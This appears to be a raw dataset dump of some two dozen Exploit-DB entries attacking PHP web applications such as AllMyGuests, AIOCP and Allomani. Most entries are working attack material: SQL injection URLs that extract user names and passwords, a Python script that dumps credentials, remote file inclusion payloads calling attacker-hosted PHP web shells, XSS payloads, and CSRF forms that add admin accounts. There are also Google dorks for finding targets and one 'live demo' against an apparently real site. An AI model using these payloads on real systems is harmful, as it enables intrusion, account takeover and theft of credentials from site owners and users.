deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23646
Description: All Enthusiast ReviewPost PHP Pro 2.5 - 'showcat.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-02-04
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9574/info
 
It has been reported that ReviewPost PHP Pro may be prone to multiple SQL injection vulnerabilities that may allow an attacker to influence SQL query logic. This issue could be exploited to disclose sensitive information that may be used to gain unauthorized access. An attacker may pass malicious data via the 'product' parameter of 'showproduct.php' script and the 'cat' parameter of 'showcat.php' script.
 
Although unconfirmed, ReviewPost PHP Pro 2.5.1 and prior may be prone to these issues.

http://www.example.com/directory/showcat.php?cat=[query]
Exploit-DB #23645
Description: All Enthusiast ReviewPost PHP Pro 2.5 - 'showproduct.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-02-04
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9574/info

It has been reported that ReviewPost PHP Pro may be prone to multiple SQL injection vulnerabilities that may allow an attacker to influence SQL query logic. This issue could be exploited to disclose sensitive information that may be used to gain unauthorized access. An attacker may pass malicious data via the 'product' parameter of 'showproduct.php' script and the 'cat' parameter of 'showcat.php' script.

Although unconfirmed, ReviewPost PHP Pro 2.5.1 and prior may be prone to these issues.

http://www.example.com/directory/showproduct.php?product=[query]
Exploit-DB #32537
Description: All In One 1.4 Control Panel - 'cp_polls_results.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-27
Author: ExSploiters

Exploit:
source: https://www.securityfocus.com/bid/31949/info

All In One Control Panel (AIOCP) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AIOCP 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6--
Exploit-DB #29451
Description: All In One Control Panel 1.3.x - 'cp_downloads.php?did' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-12
Author: Coloss

Exploit:
source: https://www.securityfocus.com/bid/22032/info

All In One Control Panel is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

All In One Control Panel 1.3.009 and prior versions are vulnerable.

http://www.example.com/AIOCP/public/code/cp_downloads.php?did=[sql]

http://www.example.org/AIOCP/public/code/cp_downloads.php?did='+UNION+SELECT+NULL,NULL,NULL,NULL,user_id,NULL,NULL,user_name,NULL,user_password,NULL,NULL,NULL,NULL,NULL+FROM+aiocp_users+WHERE+user_name<>'Anonymous
Exploit-DB #35307
Description: All In One Control Panel 1.4.1 - 'cp_menu_data_file.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-31
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46097/info

All In One Control Panel (AIOCP) is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

AIOCP 1.4.001 is vulnerable; other versions may also be affected. 

import re, socket

host = 'localhost'
port = 80

r = re.compile('\'([^\']+):([^\s]+)\sLIMIT')

# Search user ids 0 through 16
for i in range(0,16):


    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)
    s.send("GET /AIOCP/public/code/cp_menu_data_file.php?menu='or%201=1%20UNION%20ALL%20SELECT%201,0,CONCAT(',',user_name,':',user_password)%20as%20menulst_name,0%20FROM%20aiocp_users%20ORDER%20BY%20menulst_style%20LIMIT%20" + str(i) + ",1;%23 HTTP/1.1\r\n"
           'Host: ' + host + '\r\n'
           '\r\n')

    resp = s.recv(8192)

    m = r.search(resp)

    if m is None: continue

    print 'Username: ' + m.group(1) + '\nPassword: ' + m.group(2) + '\n'
Exploit-DB #46077
Description: All in One Video Downloader 1.2 - (Authenticated) SQL Injection
Type: webapps
Platform: php
Date: 2019-01-07
Author: Deyaa Muhammad

Exploit:
# Exploit Title: All in One Video Downloader 1.2 - SQL Injection
# Google Dork: "developed by Niche Office"
# Date: 1 Jan 2019
# Exploit Author: Deyaa Muhammad
# Author EMail: contact [at] deyaa.me
# Author Blog: http://deyaa.me
# Vendor Homepage: https://nicheoffice.web.tr/
# Software Link: https://codecanyon.net/item/all-in-one-video-downloader-youtube-and-more/22599418
# Demo Website: https://aiovideodl.ml/
# Demo Admin Panel: https://aiovideodl.ml/admin/
# Demo Admin Credentials: demo@aiovideodl.ml/123456
# Version: 1.2
# Tested on: WIN7_x68/cloudflare
# CVE : N/A

# POC:
https://[PATH]/admin/?view=page-edit&id=2.9'+[SQLI]-- -

# Exploit:
https://[PATH]/admin/?view=page-edit&id=2.9'+UNION+SELECT+1,2,3,4,concat(user(),0x3a3a,database(),0x3a3a,version())-- -
Exploit-DB #47425
Description: all-in-one-seo-pack 3.2.7 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-09-26
Author: Unk9vvN

Exploit:
# Exploit Title: all-in-one-seo-pack 3.2.7 - Persistent Cross-Site Scripting
# Google Dork: inurl:"\wp-content\plugins\all-in-one-seo-pack"
# Date: 2019-06-13
# Exploit Author: Unk9vvN
# Vendor Homepage: https://semperplugins.com/all-in-one-seo-pack-pro-version
# Software Link: https://wordpress.org/plugins/all-in-one-seo-pack/
# Version: 3.2.7
# Tested on: Windows 10
# CVE: N/A

# Description
# This vulnerability is in the validation mode and is located in  the all-in-one-seo-pack tab inside the  and the vulnerability type is stored . the vulnerability parameters are as follows.

1.Go to the 'all-in-one-seo-pack' tab
2.Select 'general settings' section 
3.Enter the payload in "Additional Front Page Headers","Additional Posts Page Headers" section
4.Click the "Update Options" option
4.Your payload will run on visit page


# URI: http://localhost/wordpress/wp-admin/admin.php?page=all-in-one-seo-pack
# Payload: "><script>alert(1)</script>

#
# PoC
#
POST /wordpress/wp-admin/admin.php?page=all-in-one-seo-pack%2Faioseop_class.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/admin.php?page=all-in-one-seo-pack%2Faioseop_class.php
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]2045
Content-Length: 8625
Connection: close
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED]2045
Content-Disposition: form-data; name="aiosp_front_meta_tags"

"><script>alert(1)</script>
----------------------------[PII_REDACTED]2045
Content-Disposition: form-data; name="aiosp_home_meta_tags"

"><script>alert(1)</script>
----------------------------[PII_REDACTED]2045

Content-Disposition: form-data; name="Submit"

Update Options Â»
----------------------------[PII_REDACTED]2045--


# Discovered by:
https://unk9vvn.com
Exploit-DB #25422
Description: All4WWW-HomePageCreator 1.0 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-04-14
Author: Francisco Alisson

Exploit:
source: https://www.securityfocus.com/bid/13169/info

All4WWW-Homepagecreator is affected by an arbitrary remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an 'include()' function call.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. 

http://www.example.com/index.php?site=http://www.example.com/some-file
Exploit-DB #29878
Description: Allfaclassifieds 6.04 - 'Level2.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-23
Author: Dr.RoVeR

Exploit:
source: https://www.securityfocus.com/bid/23598/info

Allfaclassifieds is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Allfaclassifieds 6.04 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/admin/setup/level2.php?dir=[EvilScript]
Exploit-DB #3093
Description: AllMyGuests 0.3.0 - 'AMG_serverpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-07
Author: beks

Exploit:
AllMyGuests 3.0 Remote File Inclusion Vulnerability

#Software: AllMyGuests

#Version: 3.0

#Download: http://download.php-resource.net/AllMyGuests/AllMyGuests0.3.0.zip

#Found By: beks

#Bug In:

/include/submit.inc.php
/admin/index.php
/include/cm_submit.inc.php
/comments.php
/index.php
/signin.php

#Risk: Medium

http://[target]/[AllMyGuests_Path]/comments.php?AMG_serverpath=[evil_script]
http://[target]/[AllMyGuests_Path]/signin.php?sent=1&AMG_serverpath=[evil_script]

# milw0rm.com [2007-01-07]
Exploit-DB #5469
Description: AllMyGuests 0.4.1 - 'AMG_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-19
Author: Player

Exploit:
########################################################
#
#  Found by : -=Player=-
#
#  Contacts : 282-246-419 (ICQ)
#
#  Greatz to: Lidloses_Auge, Suicide, enco, Free-Hack
#
########################################################
#
#  Script   : AllMyGuests
#
#  Site     : http://www.php-resource.net/
#
#  Dork        : "powered by AllMyGuests"
#
#  Valnu    : index.php
#
#  Parameter: AMG_id
#
#  Injection: index.php?AMG_open=comments&AMG_id=null+UNION+SELECT+1,2,3,concat_ws(0x203a20,user_name,user_password,user_email),5,6,7+from+allmyphp_user+where+user_id=1--
#
#  Example  : http://site.de/allmyguest/index.php?AMG_open=comments&AMG_id=null+UNION+SELECT+1,2,3,concat_ws(0x203a20,user_name,user_password,user_email),5,6,7+from+allmyphp_user+where+user_id=1--
#
########################################################

# milw0rm.com [2008-04-19]
Exploit-DB #2405
Description: AllMyGuests 0.4.1 - 'cfg_serverpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-20
Author: Br@Him

Exploit:
#============================================================================#
#
# AllMyGuests =>  ?_AMGconfig[cfg_serverpath] Remote File Inclusion Exploit
#============================================================================#
#           
# Scirpt Infected signin.php
#
# Critical level : Dangerous
#============================================================================#
#
# By Br@Him Ma-Edition
#============================================================================# 
#
# Http://www.Af-Team.com
#
# Arabian-FighterZ Crew
#
#
#
#
#=============================================================================#
#
#
# Exploit:
###################################################################################################
#
# Http://www.Victime.com/modules.php?name=allmyguests
# http://www.vicitime.com/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=Attacker
#
#
# Search Google ( Nuke ET Copyright © 2004 por Truzone. )
# ( allinurl:*.edu.*/modules.php?name=allmyguests )
# ( "powered by AllMyGuests" )
#
# To Contact: Brahim@legenie.net or Brahim118@yahoo.fr
#
# Greet : Silitoad STr0ke. Sn1p8r. Ope3runix . Simo64 .The_Condor.r00ted . Silitix . Zakix .Daftrix.
# Oli Nsinah lmera lmajia :P
###################################################################################################
By Morocco

Notes:
Nuke module as well as the standalone is vulnerable.
http://www.vicitime.com/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=Attacker
http://www.vicitime.com/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=Attacker
/str0ke

# milw0rm.com [2006-09-20]
Exploit-DB #23697
Description: AllMyGuests 0.x - 'info.inc.php' Arbitrary Code Execution
Type: webapps
Platform: php
Date: 2004-02-16
Author: Pablo Santana

Exploit:
source: https://www.securityfocus.com/bid/9664/info

Reportedly the AllMyPHP application AllMyGuests is prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call.

This issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.

http://www.example.com/allmylinks/include/info.inc.php?_AMGconfig[cfg_serverpath]=http://www.example.org/attacker.php/&cmd=uname%20-a

www.example.org/attacker.php' will contain:

<?php
system("$cmd");
?>
Exploit-DB #3096
Description: AllMyLinks 0.5.0 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-07
Author: GoLd_M

Exploit:
/###################################################################\
#                          AllMyLinks 0.5.0                         #
#    =========================================================      #
#    Published :  2007-01-07                                        #
#    Remote: Yes                                                    #
#    Site: http://download.php-resource.net/AllMyLinks/AllMyLinks0.5.0.zip
#####################################################################
#    Author: GolD_M                                                 #
#    Contact: HackEr_@W.CN                                          #
#    =====================================================          #
#    ThanX = All My Friends & ABDULLAH00 & MilW0rm.Com              #
#    SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                #
\###################################################################/
In :
/index.php
Line:
/77
Vulnerable Code:
/include("$AML_opensite");
3xpl!T
/index.php?AML_opensite=[Ev!L_Scr!pT]
/#######################################\
#         Tryag.Com & Dwrat.Com         #
\#######################################/

# milw0rm.com [2007-01-07]
Exploit-DB #23699
Description: AllMyLinks 0.x - 'footer.inc.php' Arbitrary Code Execution
Type: webapps
Platform: php
Date: 2004-02-16
Author: Pablo Santana

Exploit:
source: https://www.securityfocus.com/bid/9664/info
  
Reportedly the AllMyPHP applications AllMyGuests, AllMyLinks and AllMyVisitors are prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call.
  
This issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.

http://www.example.com/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=http://www.example.org/attacker.php/&cmd=uname%20-a

www.example.org/attacker.php' will contain:
  
<?php
system("$cmd");
?>
Exploit-DB #3097
Description: AllMyVisitors 0.4.0 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-07
Author: bd0rk

Exploit:
                         AllMyVisitors 0.4.0 File Inclusion Vulnerability



Affected Software: AllMyVisitors 0.4.0

Download: http://www.php-resource.net//modules/AllMyLinks//action/gotolink.php?AML_linkid=11

Vulnerable Code in index.php

Bugfounder: bd0rk

[+]Exploit: http://[target]/[all_my_visitors_path]/index.php?AMV_openconfig=1&AMV_serverpath=http://[Shell]

# milw0rm.com [2007-01-07]
Exploit-DB #23698
Description: AllMyVisitors 0.x - 'info.inc.php' Arbitrary Code Execution
Type: webapps
Platform: php
Date: 2004-02-16
Author: Pablo Santana

Exploit:
source: https://www.securityfocus.com/bid/9664/info
 
Reportedly the AllMyPHP applications AllMyGuests, AllMyLinks and AllMyVisitors are prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call.
 
This issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.
 
http://www.example.com/allmylinks/include/info.inc.php?_AMGconfig[cfg_serverpath]=http://www.example.org/attacker.php/&cmd=uname%20-a
 
www.example.org/attacker.php' will contain:
 
<?php
system("$cmd");
?>
Exploit-DB #35754
Description: allocPSA 1.7.4 - '/login/login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-16
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47860/info

allocPSA is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

allocPSA 1.7.4 is vulnerable; other versions may also be affected. 

http://www.example.com/allocPSA-1.7.4/login/login.php?sessID=%3Cscript%3Ealert%280%29%3C/script%3E
Exploit-DB #9532
Description: allomani 2007 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-26
Author: NeX HaCkEr

Exploit:
==================

NaMe: allomani 2007  <= SQL Injection Vulnerability
Author : NeX HackEr
Contact: c2l@hotmail.com

==================

Script site : http://allomani.com

==================

ExplOiT:

 UserName

http://www.xxx.com/path/index.php?action=browse&cat=-1 and 1=0 UNION AlL SELECT username,2,3 from movies_user

 Password


http://www.xxx.com/path/index.php?action=browse&cat=-1 and 1=0 UNION AlL SELECT password,2,3 from movies_user

 :) 

==================

Live DemO:

http://www.leeen.net/index.php?action=browse&cat=43 and 1=0 UNION AlL SELECT username,2,3 from movies_user



+========================================================+
|                                                                                   
| Greetz.: ~ alMaFiA ~ RmZ AlJnooP ~ GaBsH ~                                          
|               And All Friends!!!!                      
+========================================================+

# milw0rm.com [2009-08-26]
Exploit-DB #17095
Description: Allomani Audio and Video Library 2.7.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2011-04-01
Author: AtT4CKxT3rR0r1ST

Exploit:
Audio & Video Library 2.7.0 XSRF Vulnerability (Add Admin)
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://allomani.com/en/audio_and_video_script.html
####################################################################

===[ Exploit ]===

<form method="POST" name="form0" action="http://localhost/Audio&VideoLibrary/admin/index.php">
<input type="hidden" name="action" value="adduserok"/>
<input type="hidden" name="hash" value="e10adc3949ba59abbe56e057f20f883e"/>
<input type="hidden" name="username" value="webadmin"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="email" value="Example@hotmail.com"/>
<input type="hidden" name="group_id" value="1"/>
<input type="hidden" name="useraddbutton" value="Add"/>
</form>

</body>
</html>
####################################################################
Exploit-DB #14110
Description: Allomani E-Store 1.0 - Cross-Site Request Forgery (Add Admin) (1)
Type: webapps
Platform: php
Date: 2010-06-29
Author: G0D-F4Th3r

Exploit:
# Exploit Title: Allomani - E-Store v1.0 - [CSRF] Add Admin Account
# Date: 29-06-2010
# Author: G0D-F4Th3r
# Software Link: http://allomani.com/
# Version: 1.0

####################################################
<html>
<body onload="javascript:fireForms()">
<form method="POST" name="form0" action="
http://www.site.com/[path]/admin/index.php">
<input type="hidden" name="action" value="adduserok"/>
<input type="hidden" name="username" value="test"/>
<input type="hidden" name="password" value="test123"/>
<input type="hidden" name="email" value="test@test.com"/>
<input type="hidden" name="group_id" value="1"/>
<input type="hidden" name="useraddbutton" value="اضافة"/>
</form>
</body>
</html>
##################################################################################
Greetz to : AL-MoGrM - dEvIL NeT - Bad hacker - v4-team members - And All My
Friends
##################################################################################
Exploit-DB #17091
Description: Allomani E-Store 1.0 - Cross-Site Request Forgery (Add Admin) (2)
Type: webapps
Platform: php
Date: 2011-04-01
Author: AtT4CKxT3rR0r1ST

Exploit:
E-Store 1.0 XSRF Vulnerability (Add Admin)
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://allomani.com/en/store_script.html
####################################################################

===[ Exploit ]===

<form method="POST" name="form0" action="http://localhost/E-Store/admin/index.php">
<input type="hidden" name="action" value="adduserok"/>
<input type="hidden" name="hash" value="e10adc3949ba59abbe56e057f20f883e"/>
<input type="hidden" name="username" value="webadmin"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="email" value="Example@hotmail.com"/>
<input type="hidden" name="group_id" value="1"/>
<input type="hidden" name="useraddbutton" value="Add"/>
</form>

</body>
</html>
####################################################################
Exploit-DB #17093
Description: Allomani Movies Library 2.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2011-04-01
Author: AtT4CKxT3rR0r1ST

Exploit:
Movies Library 2.0 XSRF Vulnerability (Add Admin)
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://allomani.com/en/movies_script.html
####################################################################

===[ Exploit ]===

<form method="POST" name="form0" action="http://localhost/Movies Library/admin/index.php">
<input type="hidden" name="action" value="adduserok"/>
<input type="hidden" name="hash" value="e10adc3949ba59abbe56e057f20f883e"/>
<input type="hidden" name="username" value="webadmin"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="email" value="Example@hotmail.com"/>
<input type="hidden" name="group_id" value="1"/>
<input type="hidden" name="useraddbutton" value="Add"/>
</form>

</body>
</html>
####################################################################